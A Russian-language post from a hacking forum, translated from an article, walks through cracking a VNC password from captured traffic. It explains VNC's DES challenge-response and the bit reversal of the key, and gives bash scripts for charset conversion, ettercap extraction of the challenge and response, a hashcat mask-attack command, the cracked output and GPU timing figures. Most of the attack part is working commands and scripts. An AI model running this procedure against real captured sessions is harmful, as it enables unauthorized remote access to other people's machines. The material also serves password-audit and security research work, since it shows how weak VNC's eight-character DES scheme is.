• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Как взломать VNC пароль из захваченного трафика (challenge response)

tabac

CPU register
Пользователь
Регистрация
30.09.2018
Сообщения
1 610
Решения
1
Реакции
3 332
Данная статья является переводом поста «VNC challenge response password crack», который написал AJB. Пост интереснейший во всех смыслах: во-первых, как справедливо отмечают авторы, не существует готового решения для взлома VNC пароля в hashcat; во-вторых, любопытен сам процесс проведённого исследования.

Возникла задача, используя hashcat взломать пароль из записанного трафика VNC сессии (содержащей challenge и response), но не удалось найти полное руководство, как это сделать. Поэтому было проделано следующее исследование.

Во время аутентификации клиента на сервере VNC, сервер отправляет Authentication challenge, а клиент в ответ отправляет Authentication response.

Пример Authentication challenge (894443629f4a9675809cff5da2e84651):
challenge.png


Пример Authentication response (271d94eb610b5c42588dc53506419e6a):
response.png


Было изучено, как работает аутентификация ответа на вызов VNC, и вот что мы поняли:
  • Клиент инициирует соединение с сервером.
  • Сервер отправляет уникальный/случайный 16-байтовый вызов клиенту.
  • Клиент использует DES для шифрования (один раунд) вызов с помощью входного пароля и отправляет ответ.
  • Сервер получает ответ и использует ту же схему шифрования для сравнения результатов.
  • Соединение устанавливается если оба значения совпадают.
Для информации: известно, что алгоритм шифрования DES может принимать только ключи длиной 56 бит. Поскольку ASCII использует символы длиной 7-бит, то длина ключа может быть максимум до 8 символов. Если он короче, он будет дополнен нулями. Традиционный протокол VNC используется с DES (некоторые новые клиенты VNC могли изменить это).

Проблема в том, что VNC не использует пароль, заданный пользователем, как есть, но сначала выполняет преобразование:
  • биты каждого байта соответствующего значения ascii инвертируются (записываются задом наперёд):
Код:
Пароль : 12345678
Значение Ascii (HEX) : 31 32 33 34 35 36 37 38
Двоичное значение:      00110001 00110010 00110011 ....
Двоичное инвертированное значение:  10001100 01001100 11001100 ....
Инвертированное шестнадцатеричное значение: 8c 4c cc 2c ac 6c ec 1c

Таким образом, действительный пароль пользователя VNC, используемый для шифрования: 8c4ccc2cac6cec1c (12345678 в ASCII)

John The Ripper реализовал это в версии 1.9.0 Jumbo-1.

Чтобы взломать пароли VNC с помощью hashcat, мы реализовали это преобразование с помощью небольшого bash-скрипта для создания модифицированной кодировки символов ascii.

Создайте файл toHexVNC.sh:
Код:
gedit toHexVNC.sh
И сохраните в него:
Код:
toHexVNC(){
  for ((i=0;i<${#1};i++));
  do
    ascii2binrev=`echo "${1:$i:1}" | perl -lpe '$_=unpack"B*",$_' | rev`
    binrev2hex+=`printf "%02x\n" "$((2#$ascii2binrev))"`
  done
  echo $binrev2hex
}
toHexVNC $1
Запускать так:
Код:
bash toHexVNC.sh СТРОКА
Например, чтобы конвертировать все цифры:
Код:
bash toHexVNC.sh 0123456789

Взлом VNC пароля в Hashcat

Теперь мы можем взломать его с помощью hashcat, используя:
  • атаку 3 (атака по маске)
  • тип хеша 14000 (DES)
  • формат хэша: <шифр>:<открытый текст> (в VNC это будет: <response>:<challenge>, но НЕ <challenge>:<response>)
  • при этом response и challenge должны быть усечены до длины 8 байтов (не нужно тратить ресурсы на все 16 байтов, и в любом случае hashcat принимает только 8 байтов шифра/открытого текста).
  • обратную кодировку и опцию --hex-charset
Имеется файл VNC.pcapng с захваченной VNC сессией, как вы можете видеть выше на скриншотах, можно скопировать вызов и ответ из окна Wireshark. Также их можно извлечь с помощью ettercap:
Код:
ettercap -Tq -r VNC.pcapng
Вывод:
Код:
ettercap 0.8.3 copyright 2001-2019 Ettercap Development Team

Reading from VNC.pcapng
Libnet failed IPv4 initialization. Don't send IPv4 packets.
Libnet failed IPv6 initialization. Don't send IPv6 packets.
  34 plugins
  42 protocol dissectors
  57 ports monitored
24609 mac vendor fingerprint
1766 tcp OS fingerprint
2182 known services

Starting Unified sniffing...

192.168.0.101-5900:$vnc$*894443629f4a9675809cff5da2e84651*271d94eb610b5c42588dc53506419e6a
VNC : 192.168.0.101:5900 -> Challenge:894443629f4a9675809cff5da2e84651 Response:271d94eb610b5c42588dc53506419e6a
ettercap.png

Из этого вывода нас интересуют:
  • Challenge:894443629f4a9675809cff5da2e84651
  • Response:271d94eb610b5c42588dc53506419e6a
Обрезаем — берём только нужные нам части:
Код:
echo 894443629f4a9675809cff5da2e84651 | cut -c 1-16
894443629f4a9675

echo 271d94eb610b5c42588dc53506419e6a | cut -c 1-16
271d94eb610b5c42
Не забываем, что ответ идёт ПЕРВЫМ, а затем только вызов, то есть:
Код:
271d94eb610b5c42:894443629f4a9675

Сохраняем этот хеш в файл toCrack.txt.

Теперь нам нужно определиться, какие символы будут использоваться для генерации кандидатов в пароли. Полный список Ascii такой:
Код с оформлением (BB-коды):
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@$%*^-+_=~[]{}:;<>,.?/\")('&` |
Для использования всех 95 ascii символов, трансформированных для VNC, создайте файл VNC_allascii.charset и скопируйте в него:
Код:
8646c626a666e6169656d636b676f60e8e4ece2eae6eee1e9e5e8242c222a262e2129252d232b272f20a8a4aca2aaa6aea1a9a5a0c8c4ccc2cac6cec1c9c840224a4547ab4d4fabc7edabadebe5cdc3c7c3474fcf43a449414e46406043e00

Если вы хотите использовать для генерации паролей только большие и маленькие буквы, а также цифры:
Код:
bash toHexVNC.sh abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 > VNC_ascii.charset
Если генерировать пароли только из маленьких букв:
Код:
bash toHexVNC.sh abcdefghijklmnopqrstuvwxyz > VNC_ascii.charset
Думаю, суть вы уловили.

Я же буду использовать для генерации кандидатов в пароли только цифры:
Код:
bash toHexVNC.sh 0123456789 > VNC_ascii.charset

ОЧЕНЬ ВАЖНО: на это не обращают внимание оригинальные исследователи, но даже полный список конвертированных ASCII символов не подберёт VNC пароли, которые короче 8 символов. В принципе, это может показаться логичным — DES шифрование требует пароль не менее 8 символов в длину. Но VNC принимает более короткие символы, заполняя недостающие символы нулевым байтом. То есть после создания файла VNC_ascii.charset откройте его и обязательно впишите туда два дополнительных нуля если вы допускаете, что мог быть установлен пароль короче 8 символов (это вполне возможно!).

Наконец, составляем команду hashcat для брут-форса VNC пароля:
Код:
hashcat -a 3 -m 14000 -1 VNC_ascii.charset --hex-charset --force -D 1,2 --hwmon-temp-abort 100 toCrack.txt ?1?1?1?1?1?1?1?1
Пароль взломан:
Код:
271d94eb610b5c42:894443629f4a9675:$HEX[4c4c4c4c4c4c0000]
hashcat-cracked.png

Взломанный пароль будет шестнадцатеричным значением, и его нужно будет снова конвертировать, чтобы найти пароль (в ASCII). Для этого также написана функция, чтобы её использовать, создайте файл toAscii.sh:
Код:
gedit toAscii.sh
И скопируйте в него:
Код:
toAscii(){
  for ((i=0;i<${#1};i+=2));
  do
    hex2binary=`perl -e 'printf "%08b\n", 0x'"${1:$i:2}"'' | rev`
    ascii2binrev+=`echo $hex2binary | perl -lpe '$_=pack"B*",$_'`
  done
  echo $ascii2binrev
}
toAscii $1
Запускать так:
Код:
bash toAscii.sh СТРОКА
Для конвертации взломанного только что пароля:
Код:
bash toAscii.sh 4c4c4c4c4c4c0000

Получено: 222222 (в качестве пароля использовалось шесть двоек).

Некоторые тесты (бенчмарки):

Использование 2x NVIDIA Quadro P4000 8GB
  • пароль в 8 символов длинною из маленьких букв -> макс. ~ 2 мин
  • пароль в 8 символов длинною из больших и маленьких букв, а также цифр -> макс. ~ 2.2 часа
  • пароль в 8 символов длинною из больших и маленьких букв, а также цифр и пробела -> макс. ~ 2.5 часа
  • пароль в 8 символов из всех символов ascii -> макс. ~ 3 дня
Как можно увидеть, при использовании любых символов у VNC пароля нет шансов остаться не взломанным. Вы можете устанавливать пароли любой длины для VNC сервера, например, в 20 символов, и программа молча будет их принимать, но по факту будет сохранено и использовано не более 8 первых символов от пароля.

Автор Alexey
взято с hackware
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх